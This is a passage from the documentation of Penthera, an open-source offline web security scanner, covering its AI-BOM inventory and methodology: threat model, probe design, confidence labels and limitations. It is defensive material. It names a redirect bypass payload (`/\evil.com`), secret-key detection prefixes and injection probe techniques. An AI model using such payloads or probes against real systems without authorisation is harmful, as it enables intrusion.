  "prefill": { "scan": "scan.json", "sbom": "sbom.cdx.json" }
}
```

```bash
penthera https://staging.example.com --repo . --sbom sbom.cdx.json -o scan.json
```

From the SBOM it fills the product name and version and the component's version
and purl. From the scan it fills matching CVE ids, the scanner severity and the
finding titles. Prefilled values are marked *verify* in the draft, and anything you wrote
yourself is never overwritten. A full example is in `tests/fixtures/cra/` in the repository.

### How the deadlines are counted

- **Hours are elapsed hours** from `aware_at`. If the clocks change in between,
  the local due time shifts (24 hours from 09:00 CEST on 24 October 2026 is
  08:00 CET on 25 October).
- **Days and months are calendar periods** in your `timezone` (default
  `Europe/Amsterdam`), ending at the same clock time. One month from 31 January
  ends on 28 (or 29) February, following
  [Regulation 1182/71](https://eur-lex.europa.eu/legal-content/EN/TXT/?uri=CELEX:31971R1182) Art. 3(2)(c).
- A timestamp without an offset is read in `timezone`. Use ISO 8601.
- This is the **strict reading**. Regulation 1182/71 can give a little more
  time (a period runs to the end of the hour or day, and a days or months period
  that ends on a weekend or public holiday moves to the next working day).
  Don't plan on that; report early.

The helper warns if `aware_at` is before 11 September 2026, if
`main_establishment` is not the Netherlands (so NCSC-NL is not your CSIRT), and
if the type or time zone is unknown.

## AI-BOM (CycloneDX 1.6)

Customers and auditors ask what AI a product contains: which
providers get your data, which models, which agent tooling. `--aibom`
inventories it from the repo, offline:

```bash
penthera --repo . --aibom aibom.cdx.json
```

| Found | How | CycloneDX |
|-------|-----|-----------|
| AI SDKs: `openai`, `@anthropic-ai/sdk`, `@google/genai`, `ai` / `@ai-sdk/*`, `langchain` / `@langchain/*`, `llamaindex`, `ollama`, `@huggingface/transformers`; on PyPI `anthropic`, `transformers`, `torch`, `langchain-*`, `llama-index-*`, `litellm`, `mcp` and others | lockfile, `package.json`, `requirements.txt`, `pyproject.toml` | `library` with purl |
| Models: `claude-*`, `gpt-*`, `o3`, `text-embedding-*`, `gemini-*`, `gemma*`, `llama*`, `mistral-*`, `deepseek-*`, `qwen*`, `phi-*`, `grok-*`, Hugging Face ids (`meta-llama/Llama-3.1-8B-Instruct`) | whole string literals in code and `model:` keys in YAML/TOML; HF ids only for known orgs or next to a loader call | `machine-learning-model` with supplier, `modelCard` stub, `evidence.occurrences` (file and line) |
| MCP servers | `lib/agents/discover.js` (`.mcp.json`, `.cursor/`, `.vscode/mcp.json`, ...) | `services` with transport, package, endpoint and trust boundary; env var *names* only, never values or args |
| Agent Skills | `SKILL.md` folders | `data` with SHA-256 |
| Prompt files | `*.prompt`, `*.prompty`, `*.prompt.md`, anything under a `prompts/` folder | `data` with SHA-256 |

Every item hangs off the root component in `dependencies`. The BOM covers only
AI components. Use `--sbom` for all dependencies.

Spec references: the [CycloneDX 1.6 JSON reference](https://cyclonedx.org/docs/1.6/json/),
the [ML-BOM capability page](https://cyclonedx.org/capabilities/mlbom/), and the
[official schema](https://github.com/CycloneDX/specification/blob/master/schema/bom-1.6.schema.json).
That schema (with its SPDX and JSF dependencies) is vendored in
`tests/fixtures/cyclonedx/`, and the tests validate every generated AI-BOM
against it without network. Penthera writes 1.6 (ML-BOM first appeared in 1.5).
CycloneDX 1.7 is also published, and support for it is not built yet.

**Limits.** A model string in code means the model is referenced, not that it
runs in production. The evidence lines let a reviewer check. Model ids built at
runtime (`` `claude-${tier}` ``) are not detected. The `modelCard` is a stub:
fill in task, datasets and considerations from the provider's model card.

---

<!-- Source: https://github.com/danoszz/penthera/blob/main/docs/METHODOLOGY.md · https://penthera.org/docs/METHODOLOGY.md -->

# Methodology

> **Pro.** For "how does it decide, and what can't it see?"

## Abstract

Penthera is an open-source, offline security scanner for web applications,
their dependencies, and the AI tooling used to build them. This document
specifies its method. It states the threat model, separates what black-box
(HTTP) and white-box (repository) analysis can and cannot observe, and defines
a four-level confidence model that distinguishes deterministic evidence from
heuristic signals. It describes the false-positive controls built into each
probe (randomized canaries, context-aware payload selection, baseline
comparison, and repeated timing measurement) and the non-destructive defaults
that follow from fail-safe design. Detection rules are distributed only in
reviewed, versioned releases, never through a live feed, which removes an
update channel from the attack surface. Each design choice is tied to prior
research or a published standard. On a bundled benchmark of labeled local
targets, Penthera reaches a precision of 0.88 (95% CI 0.69 to 0.96) and a recall
of 0.91 (95% CI 0.73 to 0.98) on 24 scored findings. Because the same authors
wrote the scanner and the targets, these figures measure
regressions, not accuracy on arbitrary applications.

## How to cite

If you use Penthera or this methodology in research or a report, cite the
software. The metadata are in [CITATION.cff](https://github.com/danoszz/penthera/blob/main/CITATION.cff), which GitHub
renders as "Cite this repository".

```text
van der Zwaag, D. (2026). Penthera: An offline security scanner for web apps and AI-built code (Version 1.9.0) [Computer software]. https://github.com/danoszz/penthera
```

```bibtex
@software{vanderzwaag2026penthera,
  author  = {van der Zwaag, Daan},
  title   = {Penthera: An Offline Security Scanner for Web Apps and {AI}-Built Code},
  year    = {2026},
  version = {1.9.0},
  license = {MIT},
  url     = {https://github.com/danoszz/penthera}
}
```

Citations in this document follow APA 7th edition. Each one resolves to an
entry in [references.md](https://penthera.org/docs/references.md), generated from
[references.bib](https://github.com/danoszz/penthera/blob/main/docs/references.bib); a test fails if a citation has no entry or an
entry is never cited. Measured accuracy is in
[bench/RESULTS.md](https://github.com/danoszz/penthera/blob/main/bench/RESULTS.md), and the method behind those numbers is
in [bench/README.md](https://github.com/danoszz/penthera/blob/main/bench/README.md).

## Contents

- [Threat model](#threat-model)
- [Black-box and white-box: what each can find](#black-box-and-white-box-what-each-can-find)
- [Runtime advisories](#runtime-advisories)
- [Confidence model](#confidence-model)
- [False-positive controls](#false-positive-controls)
- [Non-destructive by default](#non-destructive-by-default)
- [Offline and no telemetry](#offline-and-no-telemetry)
- [How new attack techniques are adopted](#how-new-attack-techniques-are-adopted)
- [Citations in reports](#citations-in-reports)
- [Known limitations](#known-limitations)

## Threat model

Penthera is built for small teams that ship web apps and APIs, often with AI
coding tools, and need a first line of evidence before a human review or a paid
penetration test. The threat model follows the four questions of Shostack
(2014): what are we building, what can go wrong, what are we going to do about
it, and did we do a good job.

**Assets.** User data behind the API; credentials and API keys, including AI
provider keys; the session and identity layer; and the integrity of the code and
dependencies that get deployed.

**Adversaries in scope.**

1. A remote, unauthenticated attacker on the internet who can send arbitrary
   HTTP requests to the deployed app. The black-box scan models this attacker.
2. An authenticated user who tries to reach another user's data. Broken object
   level authorization is the first item in the OWASP API Security Top 10
   (OWASP Foundation, 2023). Penthera tests for it when given credentials.
3. Anyone who obtains a copy of the source: a leaked repository, a public fork,
   or a compromised CI log. Meli et al. (2019) found secrets leaked in over
   100,000 public GitHub repositories, with thousands of new, unique secrets
   leaked every day. The white-box secret scan models this adversary.
4. A supply-chain attacker who publishes or compromises a dependency (Ladisa et
   al., 2023; Ohm et al., 2020; Zimmermann et al., 2019), including packages
   that code-generating models invent and attackers then register (Spracklen
   et al., 2025).

**Out of scope.** Physical access, insiders with production access, denial of
service, social engineering, and anything that needs exploitation beyond a
single benign probe. Penthera does not try to replace a human tester. It tries
to find the issues a scanner can find reliably, and to say clearly which ones
it cannot judge.

**Penthera itself is in the threat model.** A security tool runs with the
user's credentials and network position, so a compromised scanner is a
compromised machine. Thompson (1984) showed that you cannot fully trust code you
did not build yourself; the argument applies to scanners and their rule feeds.
This is why Penthera fetches no rules at run time
([below](#how-new-attack-techniques-are-adopted)).

STRIDE, the threat taxonomy that Shostack's book builds on, originates at
Microsoft (Kohnfelder & Garg, 1999). Penthera's probes map onto it as follows:

| STRIDE category | Penthera coverage |
|---|---|
| Spoofing | Authentication, JWT, OAuth, email SPF and DMARC |
| Tampering | Injection, CORS |
| Repudiation | Not tested |
| Information disclosure | Exposed files, secrets, verbose errors |
| Denial of service | Not tested; only rate limiting is checked |
| Elevation of privilege | IDOR/BOLA, client-side-only authorization |

## Black-box and white-box: what each can find

Penthera runs two kinds of analysis and reports them together.

### Black-box (URL scan)

The scanner sees only HTTP responses. Its tests are those of the OWASP Web
Security Testing Guide (OWASP Foundation, n.d.-b); each probe's WSTG IDs are
listed in [owasp-wstg-coverage.md](https://penthera.org/docs/owasp-wstg-coverage.md).

Black-box testing finds three kinds of issue well: properties visible in every
response (missing security headers, TLS configuration, cookie flags, CORS
policy), files and interfaces that should not be public, and injection flaws
whose effect shows in the response or its timing. Protocol checks follow the
relevant specifications: HSTS (Hodges et al., 2012), JWT (Jones et al., 2015;
Sheffer et al., 2020), and OAuth redirect and PKCE handling (Fett et al., 2016;
Lodderstedt et al., 2025; Sakimura et al., 2015).

Two classic evaluations of black-box scanners show what this approach misses.
Bau et al. (2010) tested eight commercial scanners against a custom vulnerable
application and older versions of real ones. As a group the tools did
reasonably well, but many of them missed second-order flaws such as stored XSS
and stored SQL injection. Doupé et al. (2010) tested eleven commercial and
open-source scanners against WackoPicko, a realistic purpose-built app with
sixteen planted flaws. Every scanner missed eight of the sixteen, among them
stored SQL injection, multi-step stored XSS, forceful browsing, and a business
logic flaw. They concluded that crawling matters as much as detection: a
scanner cannot test a page it never reaches, and losing track of state (logins,
multi-step forms) is a main reason it does not reach it.

Penthera's design responds to each point:

- **Crawl coverage.** Endpoint discovery uses a wordlist plus the app's own
  OpenAPI document when one is exposed, and records exactly which probes ran.
  The WSTG coverage table in every report lists each test as run or not run, so
  a missing check is never presented as a pass.
- **State and logic.** Penthera does not claim to find business logic flaws,
  which no scanner in the study by Doupé et al. (2010) found either. IDOR/BOLA
  results are labeled `needs-human-review` because a scanner cannot know
  whether user A is allowed to read object B.
- **Stored and second-order flaws.** Not tested. They need a write followed by
  a read elsewhere, which conflicts with the non-destructive default.

### White-box (repository scan)

The scanner reads source files. It finds hardcoded secrets, route handlers and
their authentication boundaries, and risky code patterns.

Secret detection uses provider-specific prefixes (for example `AKIA` for AWS
and `sk-ant-` for Anthropic) plus a small number of assignment patterns such as
`api_key = "..."` with a placeholder filter. Meli et al. (2019) took the same
conservative route and restricted detection to private keys and API keys with
distinctive formats. The cost is recall: a secret with no recognizable format
is invisible to this approach. SecretBench, a labeled dataset of real secrets
across many formats, is the natural yardstick for that gap (Basak et al.,
2023). The bundled benchmark includes an unprefixed signing key that Penthera
misses for this reason.

The scan reads source, config and notebook files, plus Terraform and other HCL
files (`.tf`, `.tfvars`, `.hcl`), where keys and passwords often sit inline.
One rule is specific to session middleware: a signing secret written into the
options of `session(...)` or `cookieSession(...)`, including the common
`process.env.SESSION_SECRET || '...'` fallback, is reported as a hardcoded
session secret, since anyone with the repository can then sign session
cookies. A secret read only from the environment or from a config object is
not reported.

In a git work tree the scan follows `.gitignore`. Ignored folders are skipped,
like `node_modules` and Python virtualenvs. A key in a single ignored file,
usually a local `.env`, is still reported, but at `low` and marked
`localOnly`, because it is never committed. A committed key keeps its rule's
severity.

Code-execution sinks are looked for in every server code file, not only in
recognized route handlers: `eval` and `new Function` with a non-constant
argument, `node:vm` calls, and `child_process` `exec`/`execSync`. A taint-lite
pass marks request data (`req.body`, `req.query`, `req.params`, headers,
cookies, uploaded files, and those fields destructured from the request) and
every variable assigned from an expression that uses it, within one file. It
has no call graph, scopes or sanitizers, so `likely` means "derived from the
request", not "exploitable". A sink whose arguments carry request data is
`likely`; an `eval` of a value Penthera cannot trace is `potential`. A `vm`
call or a shell command without request data is not reported, since build
scripts and CLIs build commands from their own constants all the time. Tests,
build tooling, browser assets and minified files are skipped.

White-box scanning cannot see runtime configuration (headers added by a CDN, a
WAF in front of the app), secrets injected at deploy time, or anything in
dependencies that is only known from a vulnerability database.

### Combining them

Running both against the same app catches cases neither sees alone: a route
the repository marks as public that the black-box scan confirms is reachable,
or a header the code sets that the edge strips. The report keeps the origin of
each finding (`source`, `method`) so a reader can tell which side produced it.

## Runtime advisories

When a runtime or web server gets a security release, such as the critical PHP
release announced on 20 October 2026 (The PHP Group, 2026), the question is
which systems run an affected version. Penthera answers it from two kinds of
evidence and says what it cannot know. The code is in
[lib/advisories/](https://github.com/danoszz/penthera/tree/main/lib/advisories), and the advisory data is in signed rule
packs ([runtime-advisories.md](https://penthera.org/docs/runtime-advisories.md)).

### Evidence

**Black-box.** The URL scan reads what the homepage says about itself: the
`Server` and `X-Powered-By` headers, PHP's default `PHPSESSID` cookie name,
and links to `.php` pages or `.php` paths found by endpoint discovery. These
are the signals of WSTG-INFO-02 (fingerprint web server) and WSTG-INFO-08
(fingerprint web application framework) in the OWASP Web Security Testing
Guide (OWASP Foundation, n.d.-b), and the same ones that common fingerprinting
templates use (ProjectDiscovery, n.d.). They are widespread. In a scan of the
top one million websites, over 85% exposed server information in headers,
`X-Powered-By` appeared in 48% of responses and carried the PHP version in two
thirds of those, and `PHPSESSID` was the second most common cookie name
(Lavrenovs & Melon, 2018). PHP adds the version header by default through its
`expose_php` directive (The PHP Group, n.d.-a). Lauinger et al. (2017) took
the same version-based approach for JavaScript libraries on websites.

**White-box.** The repository scan reads what the project pins: base images in
Dockerfiles and compose files, `.tool-versions`, `.php-version`, `.nvmrc`,
`.python-version`, `runtime.txt`, and `composer.json`. An exact image tag
(`php:8.3.12-fpm`) names an upstream build. A floating tag (`php:8.3`) names
only a release line, and `composer.json` only says that PHP is in use.

### Verdicts

Each product and version gets one of four answers:

| Verdict | Evidence | Severity, confidence |
|---|---|---|
| Affected | An exact upstream version below the first fixed version on its line | The vendor's severity; `likely` from a pinned image or version file, `potential` from a banner that names no distribution |
| End of life, no fix | A version on a line the vendor no longer supports | The advisory's severity, `potential`; plus an end-of-life finding |
| Check on server | The product is in use, but the version is hidden, floating, or a distribution build, or the advisory lists no fix for that line | Medium, `needs-human-review` |
| Has the fix (as advertised) | The visible version is at or above every fix | Info |

No evidence gives no answer, and the report never treats that as safe.

Four choices keep the verdicts honest.

**A hidden version is unknown, not safe.** Removing or changing the `Server`
header does not stop identification. Lee et al. (2002) identified web servers
even where the server information was omitted, and Kar et al. (2022)
fingerprinted servers regardless of the mitigation applied. PHP's manual calls
hiding PHP security by obscurity, a weak measure (The PHP Group, n.d.-a). The
NCSC's guidelines for web applications make the same point: removing the
version number "helpt ten dele" [helps partly], because fingerprinting can
often still reveal it. They also note that researchers use a disclosed version
to warn owners, and ask for a deliberate trade-off (Nationaal Cyber Security
Centrum, 2024). On the day of the PHP release, the NCSC was quoted as saying
that every internet-reachable system containing PHP is presumably vulnerable
until it is updated (NOS, 2026). We found no primary NCSC text for that quote;
its own website was offline as a precaution.

**A distribution build is never "affected".** Debian, Ubuntu and Red Hat fix
security issues by backporting patches into the version they shipped, not by
moving to the upstream release that has the fix (Debian Project, n.d.; Red
Hat, n.d.; Ubuntu Security Team, n.d.). Red Hat and Ubuntu both say that
scanners which judge by version number alone produce false positives for this
reason. Nmap's documentation warns that a version number cannot prove a
service vulnerable, because fixes are backported, and that administrators can
spoof it (Lyon, 2009). Zhang and Qian (2018) describe the same divergence for
downstream Linux kernels and test for the patch itself instead of the version.
So a version with a distribution suffix (`8.1.2-1ubuntu2.19`), or any version
behind a `Server` header that names a distribution, gets "check on server",
with the advice to look up the CVE in the distribution's security tracker. We
found no peer-reviewed measurement of how many false positives backports cause
in version-based scanners. The support for this rule is the distributions' own
statements and the Nmap project's.

**A banner that names no distribution may still be one.** Many distribution
builds print a plain upstream number. Debian 11 to 13, Ubuntu 24.04 and later,
and RHEL put no package revision in PHP's version, Debian's and RHEL's nginx
add no OS token, and distribution Pythons print the plain interpreter
version. Apache httpd is the exception: Debian, Ubuntu and RHEL put the
distribution name in its banner. Penthera's labelled test set of 253 real
version strings found 14 such builds
([#97](https://github.com/danoszz/penthera/pull/97)). So for PHP, Apache
httpd, nginx, Python and OpenSSL, an "affected" or "end of life" answer from
a banner without a distribution token is capped at `potential`, with a note to
check on the server. The severity is unchanged, because an upstream build at
that version really is exposed. An official Docker image or a version file
pins an upstream build and stays `likely`. Node.js sends no version banner, so
the cap never applies to it.

**A version match is necessary, not sufficient.** Many advisories need more
than a version. CVE-2024-4577, an argument injection in PHP-CGI, only
affected PHP running as CGI on Windows, and DEVCORE (2024), who found it,
confirmed exploitation under specific Windows code pages. Its 2012
predecessor did not affect mod_php or php-fpm at all (The PHP Group, 2012).
Censys (2024) counted about 458,800 exposed PHP instances by version and called
that count likely an overestimate, because a scan cannot see whether CGI mode
is on. Durumeric et al. (2014) made the same observation for Heartbleed: an
early estimate taken from Apache and nginx market share probably overstated
the vulnerable population, which they measured with an active protocol probe
instead. A rule can therefore carry a `condition`, and a finding from such a
rule never goes above `potential`.

**"Has the fix" is information, not a clean bill of health.** A banner can be
stale, a proxy can rewrite it, and fixes themselves can be incomplete. Li and
Paxson (2017) found that 7% of the security fixes they studied failed to
remediate the issue completely. CVE-2024-4577 is itself a bypass of the fix
for CVE-2012-1823 (The PHP Group, n.d.-b).

### Advisory data

Advisories and end-of-life lines are data, not code, so a new advisory can be
published as a signed pack and used the same day with `--rules`, without a
release (see [How new attack techniques are adopted](#how-new-attack-techniques-are-adopted)).
Speed matters here. Fix commits are often public weeks before the advisory
(Li & Paxson, 2017), deployment of patches lags far behind their release
(Nappa et al., 2015), and a working analysis of CVE-2024-4577 was public a day
after the fix.

Each rule copies its affected and fixed versions from the vendor: the php-src
security advisories (The PHP Group, n.d.-b), the Apache HTTP Server
vulnerability list (The Apache Software Foundation, n.d.), and for later packs
the nginx and OpenSSL advisory pages (nginx, n.d.; OpenSSL Library, n.d.).
Fixed versions are recorded per release line, because vendors patch each
supported line separately and a single range would misclassify versions on
other lines. That is the same per-line shape that the OSV format uses for its
`introduced` and `fixed` events (Chang & Cox, 2026). Severity is the vendor's,
with the CVSS score where the vendor gives one (FIRST, 2023). The CISA Known
Exploited Vulnerabilities catalog, which is CC0-licensed, is a candidate source
for an exploited-in-the-wild flag (Cybersecurity and Infrastructure Security
Agency, n.d.).

End-of-life lines come from each vendor's support page (MongoDB, Inc., n.d.;
OpenJS Foundation and Node.js contributors, n.d.; Python Software Foundation,
n.d.; The PHP Group, n.d.-c), cross-checked against endoflife.date
(endoflife.date contributors, n.d.). MongoDB is the one database in the pack:
it has no HTTP banner, so it is checked only where a repository pins it (the
official `mongo` image in a Dockerfile or compose file, or `.tool-versions`). A line counts as ended only when its end date is on or before the
date of the rule, so the same scan with the same packs gives the same result on
any day.

The NCSC-NL publishes signed advisories in the CSAF 2.0 format (Nationaal
Cyber Security Centrum, n.d.; Rock et al., 2022). We checked whether they could
drive version matching. They cannot: most 2025 and 2026 entries record the
affected version as unknown and refer to the vendor's page, and the feed has
no open license. Penthera uses the vendor pages directly and cites the NCSC
guidance in the methodology instead.

### What this does not claim

Penthera judges known vulnerable versions, not age. Outdated software is not
simply more likely to be compromised: in a case-control study of hacked
webservers, sites running outdated WordPress were less likely to be compromised
than up-to-date ones (Vasek et al., 2016). An end-of-life finding is about the
absence of future fixes, not about current compromise. The scanner also does not
notify third parties. It reports to the owner who runs it, because
notifications sent to site operators mostly do not arrive (Stock et al., 2016).

## Confidence model

Severity says how bad a finding would be if real. Confidence says how likely it
is to be real. Penthera reports both and never lets a heuristic look like a
fact. The labels are defined in [lib/provenance.js](https://github.com/danoszz/penthera/blob/main/lib/provenance.js):

| Label | Meaning | Typical sources |
|---|---|---|
| `confirmed` | Deterministic evidence. The header is absent, the certificate expired, the key matches a provider format. | Header audit, TLS check, cookie audit, secret scan, OpenAPI exposure |
| `likely` | A strong signal with a small false-positive chance. | Injection probes with a verified canary, auth and JWT probes, framework checks |
| `potential` | A heuristic or one-shot signal that needs corroboration. | Fuzzer, adaptive probes |
| `needs-human-review` | Exploitability cannot be judged from outside. | IDOR/BOLA, client-side-only auth |

Every finding also carries `source`, `method`, and `collected_at`. These travel
into SARIF, so the label survives into GitHub code scanning.

The benchmark reports precision per confidence label, which tests whether the
labels mean what they say. On the current run, all `likely` and
`needs-human-review` findings were true positives and the one `potential`
finding was a false positive. The two `confirmed` false positives are cases
where the evidence is real but the judgment is wrong: a health endpoint that
is public by design, and AWS's published example key. See
[bench/RESULTS.md](https://github.com/danoszz/penthera/blob/main/bench/RESULTS.md).

### Findings proposed by a model

`penthera verify` reads findings that a model proposed elsewhere, for example
an AI security audit run with Cloudflare's security-audit skill in a coding
agent (Cloudflare, 2026). Language models find real issues that rules do not
describe, but on realistic benchmarks their vulnerability detection is far
less reliable than headline numbers suggest (Ding et al., 2025). So a model's
finding never gets a confidence label on its own authority. It counts as
`confirmed` or `likely` only through a Penthera rule that flags the same kind
of issue in the same file; the rule's finding is then the record. Everything
else is `needs-human-review`, labelled "model-proposed, unverified", kept apart
from rule findings, and never changes the exit code. A rule that ran and did
not fire does not count against a model's finding, because rules have false
negatives too. How often model findings are confirmed, and how precise each
group is, is not yet measured; a planned experiment (E9) will measure it on
the E1 corpus.

## False-positive controls

A black-box scanner loses trust through false positives faster than through
misses. The probes apply these controls:

- **Randomized canaries.** The SSTI probe multiplies two random four-digit
  numbers and looks for the seven- or eight-digit product, and only when
  neither the raw payload nor the literal expression appears in the response
  ([lib/injections.js](https://github.com/danoszz/penthera/blob/main/lib/injections.js), `buildSstiProbes`). The common
  fixed canary `7*7 = 49` fires on any page that happens to contain "49". XSS
  probes use a random reflection marker per probe (`makeCanary`).
- **Context before payload.** The XSS probe first checks where its marker is
  reflected (HTML body, attribute, or script), sends only payloads that would
  execute in that context, and then checks that they came back unencoded.
  Context-aware tools such as Dalfox take the same approach.
- **Baseline comparison.** Error-based SQL injection is reported only when the
  database error appears in the injected response and not in the baseline.
- **Format, not keyword.** Exposure templates match the format of what they
  look for, not a word that might appear in any page. The Prometheus template
  needs both a `# HELP` and a `# TYPE <name> <kind>` line and no HTML, so a
  single-page app that answers `/metrics` with its index page does not match.
  A directory listing needs the listing in the page title (`Index of /`,
  `listing directory /`, `Directory listing for /`) or IIS's
  `[To Parent Directory]`. A stack trace needs a runtime's frame shape with a
  file and line number (V8, Python, Java, PHP, .NET), not just the word
  "error". The listing check reads the plain folder paths in `robots.txt`
  (no wildcards, at most 20) plus a short list of common upload and backup
  folders; the stack-trace check requests a path that does not exist. Both
  send only `GET`s without payloads.
- **Timing re-sampling.** A single slow response proves nothing: garbage
  collection, cold starts, and network jitter all look like an injected sleep.
  Time-based SQL and command injection candidates are re-sent and reported only
  when the median delay holds (`confirmTimingDelay`). Crosby et al. (2009)
  showed that network jitter dominates single remote timing measurements and
  that filtering over many samples is what makes them usable, building on the
  original timing attacks of Kocher (1996). Penthera's injected delays are
  seconds, not microseconds, so a median of three samples is enough.
- **Host-checked redirects.** An open redirect is reported only when the
  `Location` header resolves to the attacker host, not when the payload merely
  appears in the query string of a same-site redirect.
- **Context-aware suppression.** On localhost and private hosts, findings that
  do not apply there (no HTTPS, missing `Secure` on cookies) are suppressed.

The benchmark's decoy target exercises each control with an endpoint built to
fool a naive scanner. Writing it exposed one real flaw in the decoy itself: a
"safe" redirect that accepted `/\evil.com`, which browsers treat as
`//evil.com`. Penthera reported it correctly.

## Non-destructive by default

The `quick` and `standard` profiles send only requests a normal browser or API
client would send: `GET` and `OPTIONS`, plus, in `standard`, one `POST
/api/login` with invalid credentials and no payload (`quick` sends no login
request). They do not send attack payloads, create or modify data, or exploit
anything they find.

Payload-based testing (`--deep`, `--fuzz`, `--adaptive`, `--all`, or
`--profile deep`) is opt-in, and it does not start without a confirmation
bound to the target's hostname. In a terminal, Penthera asks: a target on this
machine needs a yes, and any other target needs its hostname typed back, the
same rule as the dashboard. A non-interactive run (CI, Docker, piped, `--json`)
must pass `--confirm-target <host>`, and the run stops with exit code 2 when it
is missing or names another host. Active scans are also capped at 10 requests
per second unless `--rate` says otherwise (`src/cli/active-gate.js`). The
login rate-limit burst and the SQL error check on `/api/login` run only under
`--deep`, behind the same gate. Even then, each probe sends a benign marker (a random string, an arithmetic expression, a short sleep, `id`)
rather than a working exploit, and stops at the first confirmation per
endpoint. The adaptive engine may send unexpected HTTP methods, including
`DELETE`, to routes with placeholder IDs, so it is never part of a default run.

This follows the principles of fail-safe defaults and least privilege set out by
Saltzer and Schroeder (1975): the default does the least that is still useful,
and anything riskier needs an explicit decision. NIST SP 800-115 draws the same
line between non-intrusive assessment and penetration testing, and recommends
written rules of engagement before the latter (Scarfone et al., 2008).

## Offline and no telemetry

Penthera does not phone home. It sends no usage data, analytics, or crash
reports, and it has no accounts. Reports are written to local files.

Network traffic goes to the target you name, with the exceptions below. The
full list of hosts is in [privacy.md](https://penthera.org/docs/privacy.md):

1. `--recon` (and the `deep` profile) queries public OSINT sources (crt.sh, the
   Wayback Machine, AlienVault OTX) with the target domain. It is skipped for
   localhost.
2. The Retire.js check downloads the public Retire.js vulnerability database
   from GitHub and compares JavaScript library versions locally. Outdated
   client-side libraries are common on the web and often carry known
   vulnerabilities (Lauinger et al., 2017). The database is data, not code: it
   is parsed as JSON and never executed. It is the one place a detection input
   arrives at run time. Under `--offline`, and whenever the download fails,
   Penthera uses the snapshot vendored in the release instead. When a script's
   version can only be read from its contents, the check also fetches that
   public script from its CDN (not under `--offline`).

The benchmark enforces offline operation mechanically. It wraps `fetch` so any
request to a non-loopback host is refused and counted, and it fails if the
count is not zero.

These choices follow the principles of economy of mechanism and complete
mediation (Saltzer & Schroeder, 1975): fewer network paths mean fewer things to
audit, and a tool that talks only to its target is easy to reason about in a
regulated environment.

## How new attack techniques are adopted

Attack techniques change quickly. Recent examples include indirect prompt
injection against LLM-integrated applications (Greshake et al., 2023; Liu et
al., 2023; Perez & Ribeiro, 2022), package hallucination and slopsquatting
(Spracklen et al., 2025), and attacks on agent tooling and MCP servers,
catalogued by OWASP (OWASP Foundation, 2024, 2025a, 2025b) and in MITRE ATLAS
(The MITRE Corporation, n.d.-b). A scanner that does not keep up gives a false
sense of security.

Penthera keeps up through reviewed releases, not live updates:

- **Rules ship as code in a release.** New probes, patterns, and templates are
  added by pull request, reviewed, tested against the benchmark, and published
  in a versioned release with a CHANGELOG entry. There is no rule server, no
  background update, and no command that fetches rules from the internet.
- **Detection data ships as signed rule packs.** Patterns and IOC lists that
  are data rather than logic (key formats, malicious package versions, exfil
  hosts) live in versioned packs under `lib/rules/`. Each pack is signed with
  the maintainer's SSH key, which never enters CI. Every file is hash-pinned,
  and every regex must pass a ReDoS guard before it loads. The publish workflow
  refuses to stage a release with an unsigned bundled pack. You can add your
  own packs by path (`--rules <dir>`), never by URL. See
  [rule-packs.md](https://penthera.org/docs/rule-packs.md).
- **Every new rule carries a source and a date.** A rule added after v1.2.0
  records where the technique comes from (a paper, an advisory, an OWASP or
  ATLAS entry, an incident write-up) and the date it was added. Finding
  categories are already linked to their sources in
  [lib/references.json](https://github.com/danoszz/penthera/blob/main/lib/references.json); the built-in rules that
  predate this policy are being backfilled.
- **Every new rule comes with a benchmark case.** A detection rule is added
  together with a labeled true positive and, where a false positive is
  plausible, a decoy in [bench/](https://github.com/danoszz/penthera/tree/main/bench). The CI floor in the benchmark
  stops a rule that adds false positives.
- **Your own templates stay local.** `--nuclei <path>` and `--templates <dirs>`
  load YAML templates from directories you choose. Penthera does not download
  them.

Why not update automatically? A rule feed is a code path from someone else's
server into a tool that runs with your network access and often your
credentials. Supply-chain research shows that update channels and package
registries are exactly where attackers insert themselves (Ladisa et al., 2023;
Ohm et al., 2020; Zimmermann et al., 2019), and that securing an update channel
needs signed metadata, key rotation, and explicit trust delegation (Samuel et
al., 2010; Torres-Arias et al., 2019). Shipping rules inside the signed,
versioned package reuses the trust you already place in the release, and gives
a clear audit trail: the rules you ran are the rules in the version you
installed.

## Citations in reports

Each finding category maps to one to three references in
[lib/references.json](https://github.com/danoszz/penthera/blob/main/lib/references.json), chosen to explain why the
finding matters. Besides the sources discussed above, these include the
empirical work behind specific header and policy checks: Content Security
Policy (Weichselbaum et al., 2016), cookie handling and cross-site request
forgery (Barth et al., 2008), and CORS misconfiguration
(Chen et al., 2018). Email authentication findings cite the SPF and DMARC
specifications (Kitterman, 2014; Kucherawy & Zwicky, 2015). Injection,
exposure, and configuration findings cite the OWASP Top 10 (OWASP Foundation,
2021, 2025c), code-pattern findings cite the Common Weakness Enumeration (The
MITRE Corporation, n.d.-a), and license findings use the identifiers of the
SPDX License List (SPDX Workgroup, The Linux Foundation, n.d.).

The references appear in two places:

- in the Markdown report, as a "Why this matters / Sources" line under each
  finding and a "Sources" line under each action-plan item;
- in SARIF (Fanning & Golding, 2023), as the rule's `helpUri` (first source)
  and `help` text (all sources), and as `properties.references` (the BibTeX
  keys).

[references.md](https://penthera.org/docs/references.md) and the `sources` block of `references.json`
are generated from [references.bib](https://github.com/danoszz/penthera/blob/main/docs/references.bib) by
`node scripts/build-references.mjs`, and a test fails if they drift.

## Known limitations

This section states what Penthera cannot do and how far its evidence reaches.
It is meant to be read before relying on any result. Challenges and additions
are welcome (see [MANIFESTO.md](https://penthera.org/docs/MANIFESTO.md)).

### What the scanners cannot see

- **URL scanning.**
  - No authenticated crawling beyond the bearer token or cookie you pass, so
    pages behind multi-step flows are not reached (Doupé et al., 2010).
  - No stored or second-order injection testing (Bau et al., 2010).
  - No DOM-based XSS analysis, because Penthera does not run JavaScript (Lekies et
    al., 2013; Stock et al., 2014).
- **Logic and authorization.** No business logic testing. IDOR/BOLA findings are
  heuristics that need a human to confirm them.
- **Secrets.** Detection is pattern-based and skips Markdown and other
  documentation files, so unprefixed secrets and secrets in notes are missed.
- **Dependencies (`deps`, `install`).**
  - Analysis is static. Behavior that is only decided at run time (code
    fetched or decrypted on execution, heavily obfuscated or minified bundles,
    logic inside native binaries) can be reported as a capability or as
    "unscanned", but not understood.
  - A package that hides its intent well can look ordinary.
  - The typosquat list and the vendored data are snapshots and age between
    releases.
- **AI tooling (`agents`).**
  - Rules recognize known patterns of hidden content and risky configuration.
  - A new phrasing of a prompt injection, or a malicious skill that behaves
    normally until a later update, can pass.
  - `penthera.lock` detects changes after you pin, not malice present before.
- **Fix loop.**
